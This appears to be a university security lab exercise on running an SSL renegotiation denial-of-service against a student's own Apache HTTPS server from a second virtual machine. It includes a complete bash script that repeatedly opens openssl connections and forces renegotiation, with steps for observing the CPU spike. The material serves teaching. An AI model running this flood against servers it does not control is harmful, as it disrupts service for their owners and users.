Project 4x: HTTPS-DoS (10 pts.)

What You Need

A Linux machine, serving a page via HTTPS. This is the TARGET. You should have prepared that machine in a previous project. For this machine, I used a BackTrack 5 R1 virtual machine.
A second Linux machine. This is the ATTACKER. I used a BackTrack 4 R2 virtual machine.

Preparing the HTTPS Server TARGET

Start your Linux TARGET machine. Open a Terminal window.

On your TARGET machine, in a Terminal window, enter this command, and then press Enter:

ping samsclass.info

Make sure you are getting replies. If you are not, you need to correct your networking problems before proceeding.

On your TARGET machine, in a Terminal window, enter this command, and then press Enter:

lsof -i :443

You should see one or more apache2 processes listening on *:https, as shown below:

If you don't see apache2 listening on port 443, you may have to repeat some or all of the steps in the previous project "Making a Linux HTTPS Server".

On your TARGET machine, in a Terminal window, enter this command, and then press Enter:

ifconfig

Find your IP address and make a note of it.

On your TARGET machine, from the Linux desktop, click Accessories, Internet, Firefox Web Browser.

In Firefox, go to this URL, replacing the IP address with the IP address of your Linux machine:

https://192.168.198.135

If you see a warning saying "This connection is untrusted," click "I Understand the Risks", click the "Add Exception" button, and click the "Confirm Security Exception" button.

Your secure web page opens, as shown below:

Viewing the Secure Page from the ATTACKER Machine

Start your ATTACKER Linux machine.

Get to the desktop, and ping the TARGET machine to ensure that networking is working.

If you cannot ping the TARGET, make sure both machines are using the same type of virtual networking-- both NAT, or both Bridged. Try running dhclient to renrew the ip address.

On the ATTACKER Linux machine, open Firefox and go to the same HTTPS URL.

Approve the exception as you did before, to allow your browser to use the self-signed certificate. The precise steps vary depending on the browser you use.

You should see the secure page open, as shown below:

Making the ssl-dos script

On the ATTACKER Linux machine, in a Terminal window, enter this command, and then press Enter:

nano ssl-dos

Enter the following script, replacing the IP address with the IP address of your TARGET https server.

echo "Usage: ./ssl-dos IP COUNT"
echo "Attacking host: $1 with $2 requests"
echo
read -sn 1 -p "Press any key to continue..."

for i in `seq 1 $2`;
do
  clear
  echo "*********************************** REQUEST # $i"
  echo
  echo R | openssl s_client -connect $1:443 2>/dev/null;
  COUNT=`expr $COUNT + 1`
done

Your screen should look like the image below:

Testing the ssl-dos Script

On the ATTACKER Linux machine, in a Terminal window, enter these commands, pressing Enter after each one.

Use your TARGET https server's IP address, not the example IP address shown below.

chmod a+x ssl-dos
./ssl-dos 192.168.198.135 2

When you see the "Press any key to continue..." message, press Enter.

You should see screens of certificate data flicker, ending with the line:

Verify return code: 18 (self signed certificate)

Your screen should like the image shown below:

Saving the Screen Image

Make sure the

Verify return code: 18 (self signed certificate)

message is visible, as shown above.

Save a screen capture with a filename of "Proj 4xa from YOUR NAME".

Running top on the TARGET Machine

On your TARGET machine, in a Terminal window, enter this command, and then press Enter:

top

On the upper left of the window, you should see a CPU(s): value that is small, near 1% or 2%, as shown below:

Running the Attack from your ATTACKER Machine

On the ATTACKER Linux machine, in a Terminal window, enter this commands, and then press Enter:

Use your TARGET https server's IP address, not the example IP address shown below.

./ssl-dos 192.168.198.135 500

When you see the "Press any key to continue..." message, press Enter.

You should see screens of certificate data flickering by.

Observing the Effect of the Attack

On your TARGET machine, on the right side, you should see "apache2" processes consuming a lot of CPU. When I did it, I saw 82.7%--the exact value you see may be different, but it should be larger than the value you saw before the attack started.

Saving the Screen Image

Make sure the elevated CPU(s) value is visible, as shown above.

Save a screen capture with a filename of "Proj 4xb from YOUR NAME".

Turning In Your Project

Email the image to cnit.120@gmail.com with a subject of "Project 4x from YOUR NAME".

Sources

http://www.tc.umn.edu/~brams006/selfsign.html

Originally written on or before: 10-27-11 6 pm

Modified 10-27-15